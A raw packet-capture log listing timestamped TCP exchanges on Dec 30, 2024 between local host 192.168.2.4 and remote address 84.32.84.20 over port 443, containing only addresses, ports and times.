Dec 30, 2024 21:42:46.946206093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.946249008 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.946254969 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.946505070 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.946525097 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.946557045 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.946562052 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.946587086 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.946609020 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.946880102 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.946897984 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.946929932 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.946938038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:46.946948051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.946974039 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:46.949182034 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.039376020 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.039416075 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.039558887 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.039585114 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.039592981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.039611101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.039644957 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.039861917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.039885044 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.039907932 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.039913893 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.039932013 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.040174961 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040196896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040261984 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.040272951 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040293932 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.040457010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040471077 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040513992 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.040524006 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040718079 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040749073 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040764093 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.040772915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040796041 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.040812016 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040827990 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040853024 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.040862083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.040873051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.041400909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.041424036 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.041452885 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.041467905 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.041485071 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.046263933 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.046303034 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.128001928 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.128032923 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.128278971 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.128287077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.128307104 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.128499985 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.128499985 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.128648043 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.128665924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.128722906 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.128739119 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.128968000 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.128990889 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.129018068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.129026890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.129048109 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.129265070 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.129281998 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.129316092 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.129322052 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.129343987 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.129587889 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.129609108 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.129638910 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.129643917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.129663944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.129934072 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.129951954 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.129982948 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.129990101 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.130008936 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.130228996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.130254030 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.130279064 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.130284071 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.130305052 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.135262012 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.135344982 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.216964960 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.216986895 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.217253923 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.217264891 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.217283010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.217314005 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.217349052 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.217571974 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.217592001 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.217624903 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.217631102 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.217658997 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.217845917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.217864990 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.217895031 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.217901945 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.217925072 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.218197107 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.218214989 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.218291044 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.218298912 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.218482018 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.218509912 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.218532085 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.218538046 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.218565941 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.218732119 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.218746901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.218781948 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.218790054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.218802929 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.219115973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.219136953 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.219162941 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.219168901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.219198942 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.224929094 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.224976063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.306003094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.306026936 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.306091070 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.306128025 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.306216002 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.306216002 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.306224108 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.306427002 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.306442976 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.306474924 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.306480885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.306490898 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.306700945 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.306720972 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.306745052 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.306755066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.306775093 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.307030916 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.307046890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.307079077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.307085991 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.307111979 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.307415962 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.307435036 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.307471991 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.307477951 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.307507038 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.307698011 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.307717085 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.307779074 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.307784081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.307805061 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.307959080 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.307979107 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.308006048 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.308011055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.308021069 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.312925100 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.312968969 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.394941092 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.394967079 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395025015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395039082 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.395050049 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395071030 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.395107031 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.395330906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395349026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395382881 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.395390987 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395401001 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.395646095 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395667076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395703077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.395709038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395719051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.395929098 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395945072 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395976067 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.395982027 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.395997047 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.396307945 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.396330118 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.396362066 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.396369934 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.396409035 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.396615028 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.396631956 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.396661997 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.396671057 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.396689892 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.396943092 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.396965981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.396994114 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.397002935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.397018909 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.404638052 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.404699087 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.484889030 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.484927893 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.484966993 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.484973907 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.485141039 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.485141039 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.485160112 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.485194921 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.485261917 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.485261917 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.485268116 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.485321045 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.485445976 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.485466957 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.485493898 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.485498905 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.485522032 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.485541105 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.485781908 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.485800982 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.485841990 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.485846996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.485883951 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.486073017 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.486093044 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.486135960 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.486144066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.486181974 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.486515999 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.486536980 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.486567974 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.486573935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.486602068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.486617088 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.486711979 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.486730099 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.486761093 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.486767054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.486793041 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.486813068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.487075090 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.487095118 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.487119913 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.487126112 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.487152100 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.487173080 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.493375063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.573729992 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.573753119 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.573817968 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.573827028 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.573867083 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.574346066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.574366093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.574395895 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.574400902 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.574434996 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.574454069 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.575015068 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.575036049 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.575086117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.575093031 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.575128078 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.575537920 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.575556040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.575588942 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.575596094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.575619936 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.575645924 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.576286077 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.576303959 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.576335907 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.576340914 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.576374054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.576385021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.576570034 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.576601982 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.576625109 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.576630116 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.576656103 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.576672077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.576893091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.576913118 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.576958895 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.576963902 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.577003956 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.577105999 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.577137947 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.577156067 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.577161074 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.577188969 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.577197075 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.582434893 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.662535906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.662559032 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.662605047 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.662615061 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.662664890 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.663156986 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.663178921 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.663225889 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.663232088 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.663264036 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.663281918 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.663862944 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.663882971 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.663911104 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.663916111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.663944006 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.663966894 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.664467096 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.664484978 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.664539099 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.664545059 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.664587021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.664598942 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.664935112 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.664952993 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.665018082 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.665024996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.665074110 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.665462971 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.665481091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.665515900 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.665520906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.665539026 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.665558100 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.665739059 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.665760040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.665783882 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.665790081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.665813923 CET	49744	443	192.168.2.4	84.32.84.20
